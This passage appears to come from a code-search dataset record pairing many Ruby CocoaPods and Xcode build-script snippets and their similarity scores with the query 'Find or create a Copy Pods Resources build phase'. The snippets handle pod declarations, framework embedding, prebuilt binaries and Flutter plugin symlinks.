make changes\n # to its podspec can still function. See Firestore-*-xcodebuild in\n # scripts/install_prereqs.sh for more details.\n pod 'FirebaseCore', :path => '../..'\n pod 'FirebaseCoreInternal', :path => '../..'\n pod 'FirebaseCoreExtension',:path => '../..'\n\n # Pull in local sources conditionally.\n maybe_local_pod 'FirebaseAuth'\nend", "def all(files=nil, options={})\n # if you want the default 'app.files', you can just pass in the options\n if files.is_a?(Hash) && options == {}\n options = files\n files = nil\n end\n\n check_platform = options.fetch(:platform, nil)\n current_platform = App.respond_to?(:template) ? App.template : :ios\n return unless Motion::Require.check_platform(current_platform, check_platform)\n\n Motion::Project::App.setup do |app|\n app.exclude_from_detect_dependencies << ext_file\n\n if files.nil? || files.empty?\n app.files.push ext_file\n app.exclude_from_detect_dependencies += app.files\n app.files_dependencies dependencies_for(app.files.flatten)\n else\n # Place files prior to those in ./app, otherwise at the end.\n preceding_app = app.files.index { |f| f =~ %r(^(?:\\./)?app/) } || -1\n required = Array(files).map { |f| explicit_relative(f) }\n app.exclude_from_detect_dependencies += required\n app.files.insert(preceding_app, ext_file, *required)\n app.files.uniq! # Prevent redundancy\n\n app.files_dependencies dependencies_for(required)\n end\n end\n end", "def add_system_framework(framework)\n puts \"Adding framework to xcode project: #{framework}.\"\n @target.add_system_framework(framework);\n puts 'Finished adding framework.'\nend", "def common_pods\n\tuse_frameworks!\n\t pod 'Alamofire', '~> 5.0.0-rc.2'\n\t pod 'SnapKit', '~>5.0.1'\n\t pod 'Kingfisher'\n\t pod 'HandyJSON'\nend", "def extract_test_frameworks\n @installed_frameworks = []\n @installed_frameworks << \"test_unit\" if Dir[File.join(destination_root, \"test\")].length > 0\n @installed_frameworks << \"rspec\" if Dir[File.join(destination_root, \"spec\")].length > 0\n \n if @installed_frameworks.length == 0\n # no test-related files created\n puts <<-EOS\nWARNING: you do not have a test-framework installed.\nRun either:\n script/generate install_test_unit\n script/generate install_rspec\n\nand then rerun this generator.\n EOS\n end\n end", "def run_plugins_pre_integrate_hooks\n if any_plugin_pre_integrate_hooks?\n context = PreIntegrateHooksContext.generate(sandbox, pods_project, pod_target_subprojects, aggregate_targets)\n HooksManager.run(:pre_integrate, context, plugins)\n end\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def grin_wallet_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n ldflags = config.build_settings['OTHER_LDFLAGS'] || '$(inherited) '\n unless ldflags.include? 'IOKit'\n puts 'Adding -framework IOKit in OTHER_LDFLAGS...'\n ldflags << '-framework IOKit'\n end\n config.build_settings['OTHER_LDFLAGS'] = ldflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def activate_rubygems_integrations(filtered_osdeps, ws: Autoproj.workspace)\n # Setup integration directories\n rubygems_integration_dir = File.expand_path(File.join(ws.root_dir, \".rubygems-integration\"))\n rubygems_integration_libdir = File.join(rubygems_integration_dir, \"lib\")\n FileUtils.mkdir_p rubygems_integration_libdir unless File.directory?(rubygems_integration_libdir)\n\n rubygems_integration_alldir = File.join(rubygems_integration_dir, \"all\")\n FileUtils.mkdir_p rubygems_integration_alldir unless File.directory?(rubygems_integration_alldir)\n\n # With the template file we inject\n # the option to add a path to RUBYGEMS_INTEGRATION_EXTRA_PATHS\n template_file =\n File.join(PACKAGE_SET_DIR,\"templates\",\"operating_system.rb\")\n\n template = ERB.new(File.read(template_file), nil, \"%<>\")\n rendered = template.result(binding)\n\n target_dir =\n File.join(rubygems_integration_libdir,\"rubygems\",\"defaults\")\n FileUtils.mkdir_p target_dir unless File.directory?(target_dir)\n\n target_path = File.join(target_dir, \"operating_system.rb\")\n File.open(target_path, \"w\") do |io|\n io.write(rendered)\n end\n\n ws.env.add_path(\"RUBYLIB\", rubygems_integration_libdir)\n integration_paths = []\n Dir.glob(File.join(rubygems_integration_dir,\"*\",\"specifications\")).each do |dir|\n FileUtils.rm_rf dir\n end\n Dir.glob(File.join(rubygems_integration_dir,\"*\",\"gems\")).each do |dir|\n FileUtils.rm_rf dir\n end\n each_gem_spec(filtered_osdeps) do |gem_spec|\n if gem_spec =~ /(\\/opt\\/rock\\/.*)\\/share\\/rubygems-integration\\/(.*)\\/specifications\\/(.*).gemspec/\n pkg_content = $1\n ruby_version = $2\n versioned_gem = $3\n\n integration_paths << File.join(rubygems_integration_dir,ruby_version)\n\n # Link gemspec into local rubygems-integration folder\n # This folder has to be known to rubygems via\n # rubygems/default/operating_system.rb -- which is now patched\n # so that we can use an environmental setting of RUBYGEMS_INTEGRATION_EXTRA_PATHS\n spec_dir = File.join(rubygems_integration_dir,ruby_version,\"specifications\")\n FileUtils.mkdir_p spec_dir unless File.exist?(spec_dir)\n\n gems_dir = File.join(rubygems_integration_dir,ruby_version,\"gems\")\n FileUtils.mkdir_p gems_dir unless File.exist?(gems_dir)\n\n # Link gemspec into local rubygems-integration folder\n FileUtils.ln_s gem_spec,\n File.join(rubygems_integration_dir,ruby_version,\"specifications\",\"#{versioned_gem}.gemspec\")\n\n # Link contents of gem into local rubygems-integration folder\n FileUtils.ln_s pkg_content, File.join(rubygems_integration_dir, ruby_version, \"gems\",versioned_gem)\n end\n end\n integration_paths.uniq.each do |path|\n ws.env.add_path(\"RUBYGEMS_INTEGRATION_EXTRA_PATHS\", path)\n end\n end", "def setup_projects\n BRIX11.log(3, \"[%s] setup projects\", self)\n\n # collect all interaction types recorded for all included IDL files\n # setup their corresponding recipes for the interaction types\n interaction_types = Set.new\n # idl file for component\n @idl_files.each_value do |fidl|\n BRIX11.log(4, '[%s] %s', self, fidl)\n fidl.includes.each do |ifidl|\n # only of interest if a member of this project (and thus part of a recipe)\n if ifidl.is_member?\n BRIX11.log(4, '[%s] %s specifies %s interactions', self, ifidl, ifidl.interaction_types.to_a)\n # an empty interaction types set means non-specific port which must be SRR\n ifidl.interaction_types << :srr if ifidl.interaction_types.empty?\n\n # collect the interaction types for this include\n interaction_types.merge(ifidl.interaction_types)\n\n # setup the recipe of this IDL include for the recorded interaction types\n rcp = ifidl.recipes.first\n rcp.setup_project_interaction(ifidl, *ifidl.interaction_types.to_a)\n end\n end\n end\n\n # create the MPC projects for this recipe itself\n mpc_obj = create_comp_gen\n mpc_file.add_mpc_project(mpc_obj)\n\n unless self.combined_lib?\n if self.needs_stub?\n mpc_obj = create_stub_comp\n mpc_file.add_mpc_project(mpc_obj)\n end\n\n mpc_obj = create_lem_comp\n mpc_file.add_mpc_project(mpc_obj)\n\n mpc_obj = create_svnt_comp\n mpc_file.add_mpc_project(mpc_obj)\n end\n\n mpc_obj = create_exec_lib\n mpc_file.add_mpc_project(mpc_obj)\n\n # Until now all components have the above mentioned mpc projects\n # Maybe in the future this must move to interaction specific component handling\n\n @compdef.setup_projects if @compdef\n\n # handle interaction specific project setup for each (unique)\n # collected transaction type\n interaction_types.each do |int_type|\n handle_interaction_setup(int_type)\n end\n end", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def setup_target\n link_target_task project.target, (project.sources + [project.main]).map {|fn| objectsify fn }\n end", "def add_files_to_project\n # add/overwrite some files\n mkdir('config/init')\n mkdir_p('lib/tasks')\n cp_r(Dir.glob('../files/*'), '.')\n # gem changed the api in version 1.3.2, I think, at least it is changed\n # in version 1.3.4, so the following merb hack is necessary for merb\n # 1.0.11\n # TODO: this should be generically performed outside of the spec2merb script\n if Versionomy.parse(`gem --version`) < Versionomy.parse('1.3.4')\n raise Exception.new 'Please upgrade rubygems to at least 1.3.4 (sudo gem update --system)'\n end\n if File.exist?('tasks/merb.thor/gem_ext_4.rb')\n rm('tasks/merb.thor/gem_ext.rb') if File.exist?('tasks/merb.thor/gem_ext.rb')\n mv('tasks/merb.thor/gem_ext_4.rb', 'tasks/merb.thor/gem_ext.rb')\n end\n end", "def signposts_post_install(installer)\n installer.pods_project.targets.each do |target|\n target.build_configurations.each do |config|\n if config.name == 'Debug'\n config.build_settings['GCC_PREPROCESSOR_DEFINITIONS'] ||= ['$(inherited)', 'DEBUG=1','SIGNPOST_ENABLED=1']\n config.build_settings['OTHER_SWIFT_FLAGS'] = ['$(inherited)', '-DDEBUG','-DSIGNPOST_ENABLED']\n end\n end\n end\nend", "def prebuilt_cxx_library_targets\n if @prebuilt_cxx_library_targets.nil?\n target_qualified_names = self.class.qualified_names(filter_targets(@targets, 'prebuilt_cxx_library'))\n if target_qualified_names.empty?\n @prebuilt_cxx_library_targets = {}\n return @prebuilt_cxx_library_targets\n end\n\n targets = JSON.parse(Targets.get_command_output(\"targets #{target_qualified_names.join(' ')} --json\"))\n @prebuilt_cxx_library_targets = targets.map do |prebuilt_cxx_library_target|\n # Trying to figure out the actual path of the prebuilt library.\n static_lib = prebuilt_cxx_library_target['staticLib']\n base_path = prebuilt_cxx_library_target['buck.base_path']\n prebuilt_cxx_library_target[OUTPUT_PATH] = if static_lib.start_with?(':')\n # if the static lib is a genrule, we need to find the actual output path.\n File.join(JSON.parse(Targets.get_command_output(\"targets #{base_path}#{static_lib} --json --show-output --output-attributes #{OUTPUT_PATH}\")).first[OUTPUT_PATH])\n else\n File.join(base_path, static_lib)\n end\n prebuilt_cxx_library_target\n end\n end\n @prebuilt_cxx_library_targets\n end", "def process_project_dependencies\n BRIX11.log_warning(\"missing #process_project_dependencies implementation for #{self.to_s}\")\n end", "def common_pods\n pod \"Regift\"\nend", "def target_frameworks\n if netcore?\n tfw = @proj_xml_node.css('Project PropertyGroup TargetFramework').inner_text\n tfws = @proj_xml_node.css('Project PropertyGroup TargetFrameworks').inner_text\n nfws = if tfw.nil? || tfw == '' then tfws else tfw end\n fws = nfws.split(';')\n else\n [ target_framework ]\n end\n end", "def install\n for t in CROSS_TARGETS\n mkdir \"#{t}\" do\n system \"../configure\",\n \"--srcdir=../\",\n \"--target=#{t}\",\n \"--prefix=#{prefix}\",\n \"--disable-sim\"\n system \"make\", \"all\", \"ERROR_ON_WARNING=no\"\n system \"make\", \"install\"\n end\n end\n\n # Remove items conflicting with binutils\n rm_rf share/\"info\"\n\n end", "def configure_tasks\n super\n all_object_files = []\n all_object_folders = []\n @toolchains.each do |toolchain, sources|\n toolchain.add_include_paths(@api_headers+@configuration_headers)\n object_files, object_folders = toolchain.create_compile_tasks(sources)\n all_object_files |= object_files\n all_object_folders |= object_folders\n end\n\n project_filename = @parent_project.project_name.to_s.gsub(':','-')\n library_files, library_folders = @default_toolchain.create_static_library_tasks(all_object_files, project_filename)\n dependencies = @dependencies+all_object_folders+library_folders+library_files\n\n desc \"Build library '#{@parent_project.project_name}' with configuration '#{@configuration_name}'\"\n new_task = static_library_task @configuration_name => dependencies do |t|\n @post_build.call if @post_build.respond_to? :call\n puts \"built library #{t.name}.\"\n @tests.each do |test|\n if Rake::Task.task_defined? test\n Rake::Task[test].invoke\n else\n $stderr.puts \"warning: Skipping unknown test '#{test}'\"\n end\n end\n end\n new_task.api_headers = @api_headers\n new_task.configuration_headers = @configuration_headers\n new_task.library_files = library_files\n end", "def run_podfile_post_integrate_hooks\n UI.message '- Running post integrate hooks' do\n executed = run_podfile_post_integrate_hook\n UI.message '- Podfile' if executed\n end\n end", "def embed_frameworks_input_paths(framework_paths, xcframeworks)\n input_paths = framework_paths.map(&:source_path)\n # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices\n xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework|\n name = xcframework.name\n input_paths << \"#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}\"\n end\n input_paths\n end", "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "def project_pods\n pod 'Firebase/Auth'\n pod 'Firebase/Firestore'\n pod 'FirebaseFirestoreSwift'\n pod 'Firebase/Storage'\n pod 'Kingfisher'\nend", "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "def run_plugins_post_install_hooks\n # This short-circuits because unlocking pod sources is expensive\n if any_plugin_post_install_hooks?\n unlock_pod_sources\n\n context = PostInstallHooksContext.generate(sandbox, pods_project, pod_target_subprojects, aggregate_targets)\n HooksManager.run(:post_install, context, plugins)\n end\n\n lock_pod_sources\n end", "def process_hooks(user, actual_targets)\n exec_hooks(Move, :process_hooks, binding)\n return true\n end", "def pods\n\tpod 'DateTools'\n\tpod 'HyUIActionEvent', :git => \"https://github.com/HyanCat/HyUIActionEvent.git\"\n\tpod 'HyFoundation', :path => \"..\"\nend", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def autogenerated_pods\n pod 'FlagKit', :path => 'Carthage/Build/iOS'\n pod 'IQKeyboardManager', :path => 'Carthage/Build/iOS'\n pod 'IQKeyboardManagerSwift', :path => 'Carthage/Build/iOS'\n pod 'NVActivityIndicatorView', :path => 'Carthage/Build/iOS'\n pod 'NVActivityIndicatorViewAppExtension', :path => 'Carthage/Build/iOS'\n pod 'SideMenu', :path => 'Carthage/Build/iOS'\n pod 'SwiftMessages', :path => 'Carthage/Build/iOS'\nend", "def feature_pods\n ### ONLY FOR DEVELOP PURPOSES ###\n feature_branch = \"master\" # <- HERE: Change this line to setup ALL the pods repository from another branch WHEN pods_environment = \"develop\"\n ### ONLY FOR DEVELOP PURPOSES ###\n\n color(32) { puts \"Installing Develop Pods from branch: #{feature_branch}\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => \"#{feature_branch}\"\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => \"#{feature_branch}\"\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => \"#{feature_branch}\"\nend", "def add_files(frameworks_build_phase, files, lib_group, relative_source_directory)\n\tfiles.each { |file|\n\t\tif file != \".\" && file != \"..\"\n\t\t\ta_ref = lib_group.new_file(relative_source_directory + file)\n\t\t\tframeworks_build_phase.add_file_reference(a_ref, true)\n\t\tend\n\t}\nend", "def pods\n #Swift\n pod 'Alamofire', '~> 4.0'\n pod 'Kingfisher'\n pod 'ObjectMapper', '~> 3.4'\n pod 'SwiftyJSON'\n pod 'Dollar', '9.0.0'\n #pod 'Cent', :git => 'https://github.com/ashitanojoe/Cent.git'\n pod 'KeychainAccess', '3.2.0'\n pod 'UIColor_Hex_Swift', '~> 5.1.0'\n pod 'RxSwift', '~> 5'\n pod 'RxCocoa', '~> 5'\n pod 'RxBlocking', '~> 5'\n pod 'XCGLogger', '~> 7.0.0'\n pod 'SnapKit', '~> 5.0.0'\n pod \"BSImagePicker\", \"~> 2.10.0\"\n #pod 'ImagePicker'\n pod 'TSVoiceConverter', '0.1.6'\n pod 'XLActionController', '5.0.0'\n pod 'TimedSilver', '1.2.0'\n\n #Objective-C\n pod 'YYText', '1.0.7'\n pod 'SVProgressHUD', '2.0.4'\n pod 'INTULocationManager', '4.3.2'\n\n# pod 'Reveal-SDK', '~> 4', :configurations => ['Debug']\n pod 'LookinServer', :configurations => ['Debug']\nend", "def configure_tasks\n super\n all_sources = []\n @toolchains.each do |toolchain, sources|\n all_sources |= sources\n toolchain.output_folder = @output_folder\n toolchain.project_folder = @project_folder\n toolchain.output_decorator = \"-#{@configuration_name}\"\n CompiledConfiguration.add_framework_dependencies_to_toolchain(toolchain, @dependencies)\n end\n # Give the default toolchain an opportunity to scan all source files for\n # any special needs. For example, a toolchain might look for .cpp files\n # to determine that it should link a project with the \"g++\" vs \"gcc\".\n @default_toolchain.scan_sources(all_sources)\n end", "def common_pods\n# pod 'AESCrypt-ObjC’\n pod 'AFNetworking’\n pod 'Aspects'\n \n pod 'FCUUID'\n pod 'FMDB'\n \n pod 'IQKeyboardManager'\n# pod 'iCarousel’\n \n# pod 'JPush'\n# pod 'JZLocationConverter'\n \n pod 'MBProgressHUD'\n pod 'MJExtension'\n pod 'MJRefresh'\n pod 'Masonry'\n \n# pod 'PopoverView'\n pod 'PPNumberButton'\n \n pod 'SDCycleScrollView'\n pod 'SDWebImage'\n pod 'SVProgressHUD'\n pod 'SocketRocket'\n pod 'Toast'\n \n# pod 'UICKeyChainStore'\n \n pod 'YBAttributeTextTapAction'\n \n# pod 'YYKit'\n pod 'YYCache'\n pod 'YYCategories'\n pod 'YYWebImage’\n pod 'YYModel’\n# pod 'YZPullDownMenu'\n# pod 'ZYCornerRadius'\n \n# pod 'UMengAnalytics-NO-IDFA'\n \n# pod 'AMapSearch-NO-IDFA'\n# pod 'AMapLocation-NO-IDFA'\n# pod 'AMapNavi-NO-IDFA'\n \n # 主模块(必须)\n# pod 'mob_sharesdk'\n# pod 'mob_sharesdk/ShareSDKUI'\n# pod 'mob_sharesdk/ShareSDKExtension'# 扩展模块(在调用可以弹出我们UI分享方法的时候是必需的)\n# pod 'mob_sharesdk/ShareSDKPlatforms/QQ'\n# pod 'mob_sharesdk/ShareSDKPlatforms/SinaWeibo'\n# pod 'mob_sharesdk/ShareSDKPlatforms/WeChatFull' #(微信sdk带支付的命令,和上面不带支付的不能共存,只能选择一个)\n# pod 'PromiseKit'\n\n pod 'NNGloble'\n pod 'NNCategoryPro'\n \n pod 'TZImagePickerController'\n \n# pod 'LookinServer', :configurations => ['Debug']\n# pod 'EchoSDK', :configurations => [\"Debug\"]\n pod 'Reveal-SDK', :configurations => ['Debug']\n\n end", "def include_targets\n return @include_targets\n end", "def common_test_pods\n pod 'Quick'\n pod 'Nimble'\nend", "def flutter_install_plugin_pods(application_path = nil, relative_symlink_dir, platform)\n # defined_in_file is set by CocoaPods and is a Pathname to the Podfile.\n application_path ||= File.dirname(defined_in_file.realpath) if respond_to?(:defined_in_file)\n raise 'Could not find application path' unless application_path\n\n # Prepare symlinks folder. We use symlinks to avoid having Podfile.lock\n # referring to absolute paths on developers' machines.\n\n symlink_dir = File.expand_path(relative_symlink_dir, application_path)\n system('rm', '-rf', symlink_dir) # Avoid the complication of dependencies like FileUtils.\n\n symlink_plugins_dir = File.expand_path('plugins', symlink_dir)\n system('mkdir', '-p', symlink_plugins_dir)\n\n plugins_file = File.join(application_path, '..', '.flutter-plugins-dependencies')\n plugin_pods = flutter_parse_plugins_file(plugins_file, platform)\n plugin_pods.each do |plugin_hash|\n plugin_name = plugin_hash['name']\n plugin_path = plugin_hash['path']\n has_native_build = plugin_hash.fetch('native_build', true)\n\n # iOS and macOS code can be shared in \"darwin\" directory, otherwise\n # respectively in \"ios\" or \"macos\" directories.\n shared_darwin_source = plugin_hash.fetch('shared_darwin_source', false)\n platform_directory = shared_darwin_source ? 'darwin' : platform\n next unless plugin_name && plugin_path && has_native_build\n symlink = File.join(symlink_plugins_dir, plugin_name)\n File.symlink(plugin_path, symlink)\n\n # Keep pod path relative so it can be checked into Podfile.lock.\n relative = flutter_relative_path_from_podfile(symlink)\n\n pod plugin_name, path: File.join(relative, platform_directory)\n end\nend" ]
[ "0.68618494", "0.6431814", "0.61181307", "0.6089441", "0.6005235", "0.5990041", "0.5967321", "0.59235245", "0.5868064", "0.5854593", "0.573813", "0.5709021", "0.57025945", "0.56905353", "0.5647538", "0.5612214", "0.5580844", "0.55664855", "0.5518145", "0.5497048", "0.54194576", "0.5353353", "0.5345296", "0.5340957", "0.5330385", "0.5317574", "0.5305106", "0.5301709", "0.52823806", "0.52520823", "0.5246234", "0.5241354", "0.52375144", "0.5236144", "0.5235529", "0.5227122", "0.51924825", "0.51835805", "0.5142005", "0.513998", "0.51307225", "0.51274866", "0.51116806", "0.5109676", "0.5094288", "0.5089155", "0.506896", "0.5063874", "0.50460446", "0.50367343", "0.50237507", "0.5022151", "0.5021162", "0.5020897", "0.49793938", "0.49678907", "0.4964361", "0.4950524", "0.49424645", "0.49316025", "0.49213073", "0.49128848", "0.49116036", "0.49074087", "0.49059144", "0.4905577", "0.48875338", "0.487541", "0.48698083", "0.48630008", "0.48581064", "0.4856531", "0.48508453", "0.4850517", "0.4847443", "0.484634", "0.48396334", "0.48370293", "0.48209006", "0.48000494", "0.47965974", "0.47931096", "0.4785527", "0.47829115", "0.47746328", "0.47553623", "0.47328296", "0.47307593", "0.4728252", "0.47139552", "0.47138473", "0.47129914", "0.47083032", "0.47051358", "0.47029963", "0.4696097", "0.46914238", "0.4675558", "0.46739468", "0.467069" ]
0.60180163
4
Find or create a 'Copy Pods Resources' build phase
